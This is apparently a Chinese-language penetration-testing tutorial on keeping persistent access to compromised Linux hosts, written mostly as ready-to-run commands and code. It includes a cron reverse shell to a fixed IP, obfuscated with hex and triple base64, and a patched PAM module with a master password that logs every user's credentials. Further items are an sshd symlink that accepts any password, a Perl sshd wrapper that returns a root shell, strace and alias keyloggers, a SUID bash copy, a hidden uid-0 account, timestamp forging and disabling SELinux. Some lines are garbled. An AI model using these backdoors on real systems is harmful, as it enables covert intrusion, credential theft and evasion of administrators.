Linux权限维持
1.计划任务后门
使用nc监听端口nc -lvvp5555
crontab -e
写入计划任务(计划任务路径:/var/spool/cron/root)*/1 * * * * bash -i >& /dev/tcp/192.168.172.169/55550 >&1
crontab -l
查看写入的计划任务若遇到特殊环境不能执行,编写脚本计划任务bash1.txt执行即可
echo 'bash -i >& /dev/tcp/192.168.172.169/5555 0>&1 > 1.txt
echo 0x62617368202d69203e26202f6465762f7463702f3139322e3136382e322e313235353535203031 > 1.txt
cat 1.txt | xxd -r -p |bashecho 'bash -i >& /dev/tcp/192.168.172.169/5555 0>&1' | base64 | base64 | base64 > 1.txt
cat 1.txt | base64 -d |base64 -d | base64 -d | bash
2.ssh 公钥免密
隐秘性差
ssh-keygen -t rsa #自动选择存储路径后敲回车即可
scp /root/.ssh/id_rsa.pub root@172.16.12.2:/root/.ssh/authorized_keys
vim /etc/ssh/sshd_config #开启ssh登录
PubkeyAuthentication yes
ssh root@172.16.12.2 #免密登录
ssh公钥免密示例:
复制本机的公钥到靶机的/root/.ssh/authorized_keys中
scp /root/.ssh/id_rsa.pub root@192.168.20.146:/root/.ssh/authorized_keys
目标机开启ssh远程登录
vim /etc/ssh/sshd_config
PubkeyAuthentication yes #开启ssh登录
免密登录
3.ssh软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid0即可认证成功,这样就导致了可以使用任意密码登录。
详细pam_rootok文件代码解析:https://www.cnblogs.com/likaiming/p/11007919.html
ln -sf /usr/sbin/sshd /tmp/su #建立软连接(su可更改为/etc/pam.d目录下其他的文件)
/tmp/su -oPort=8080 #启动服务
ssh root@127.0.0.1 -p 8080 #任意密码登录
重点是利用/etc/pam.d/目录下的文件绕过认证,简言之只要/etc/pam.d/目录下有什么软件我们都可以建立同名的软连接名来绕过
检测
ps -aux | grep /tmp
ssh软连接后门示例:
使用目标机的shell建立软连接,并启动服务
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8080
任意密码登录
ssh root@192.168.20.146 -p 8081
4.PAM后门
隐秘性较高
PAM(Pluggable Authentication Modules)是由Sun公司提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。简言之,PAM中包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现Linux系统的权限维持。
rpm -qa|grep pam #查看版本
查看系统版本
cat /etc/issue
、cat /etc/*-release
、cat /proc/version
、uname -a
PAM包下载地址:http://www.linux-pam.org/library/
根据安装的版本下载对应的pam主程序
tar -xvf Linux-PAM-1.1.8.tar.gz
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
#修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行
修改为如下代码(密码为wuhu~)
if(strcmp(p,"wuhu~")==0)
{
retval=PAM_SUCCESS;
}
if(retval==PAM_SUCCESS)
{
FILE *fp=fopen("/root/.ssh/ssh.log","a+");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
yum install flex-devel flex
#接着在Linux-PAM-1.1.8目录执行编译
./configure&&make
编译好的文件在Linux-PAM-1.1.8/modules/pam_unix/.libs/
目录下
随后替换pam_unix.so文件,系统原本的认证文件64位为/lib64/security/pam_unix.so
32位为/lib/security/pam_unix.so
#备份
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak
#用编译好的pam_unix.so文件替换
cp -af pam_unix.so /lib64/security/
#为了安全修改时间
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
#随后关闭SElinux
setenforce=0
vim /etc/selinux/config
SELINUX=disabled
/root/.ssh/ssh.log
中可以看到所有成功登录账号的密码
PAM后门示例:
查看下目标机pam版本
rpm -qa|grep pam
将Linux-PAM-1.1.8.tar.gz包上传到靶机中
scp /home/lyh/Linux-PAM-1.1.8.tar.gz root@192.168.20.146:/tmp/pam.tar.gz
tar -xvf pam.tar.gz #解压包
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c #修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行下(181行开始)
修改为以下代码
在Linux-PAM-1.1.8文件夹下进行编译
yum install flex-devel flex
./configure&&make
先将系统原本的认证文件/lib64/security/pam_unix.so进行备份
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak
编译好的文件在Linux-PAM-1.1.8/modules/pam_unix/.libs/
目录下,使用编译好的pam_unix.so文件进行替换
cp -af pam_unix.so /lib64/security/
模拟管理员进行登录,然后查看/root/.ssh/ssh.log
可以看到所有成功登录账号的密码
5.SSH Wrapper
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
systemctl restart sshd
socat STDIO TCP4:192.168.172.150:22,sourceport=13377
#13377是默认端口,必须使用该端口连接
隐蔽性相对较高
SSH Wrapper示例:
首先到/usr/sbin目录下,便于后面的操作。将sshd文件备份到/usr/bin/文件夹下,接着将构造好的命令写到/usr/sbin/sshd文件中,并为其增加可执行权限
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
重启sshd服务
systemctl restart sshd
利用socat获得一个root权限的shell(13377为默认端口)
socat STDIO TCP4:192.168.20.146:22,sourceport=13377
6.strace后门
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
场景: 通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码或通过这台主机连接到其他主机的密码时
先找到sshd的进程PID
ps -ef | grep sshd #父进程PID
然后写入文件
strace -f -p 进程PID -o /tmp/.ssh123.log -e trace=read,write -s 2048
查看文件
隐蔽性相对较高,主要功能为记录sshd进程明文密码
7.alias后门
vim/root/.bashrc
vim/etc/bashrc
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`. log -e read,write,connect -s2048 ssh'
source/root/.bashrc
/etc/profile
【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell启动)时都有一个专用时err 行/etc/profile/etc/bashrc
【系统级】在bash shell打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell~/.bashrc
【用户级】当用户登录时以及每次打开新的shel时该文件都将被读取,每开一个shel,该文件都会读取,效率受影响
cat /tmp/.sshpwd-01Dec121638289741.log I grep "read(4"
PS:文件名时间戳需修改
不推荐,记录难以辨别
8.SUID Shell
利用suid权限维持,利用suid提权获取root权限
#配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
使用普通用户登录就可以获取root权限。
#普通用户登录
/tmp/shell -p
排查
# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
SUID示例:
首先使用root用户将/bin/bash赋值到tmp目录下,然后为其增加suid权限
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
然后测试使用普通用户进行登录,获得一个root账户的shell
/tmp/shell -p
9.添加用户后门
添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd-p方法
useradd -p "$(openssl passwd -1 123456)" guest
# 利用chpasswd命令设置密码
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法,利用非交互式设置密码
useradd test;echo -e "123456\n123456\n"|passwd test
添加root用户:
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` banana -o -u 0 -g root -G root -s /bin/bash -d /home/banana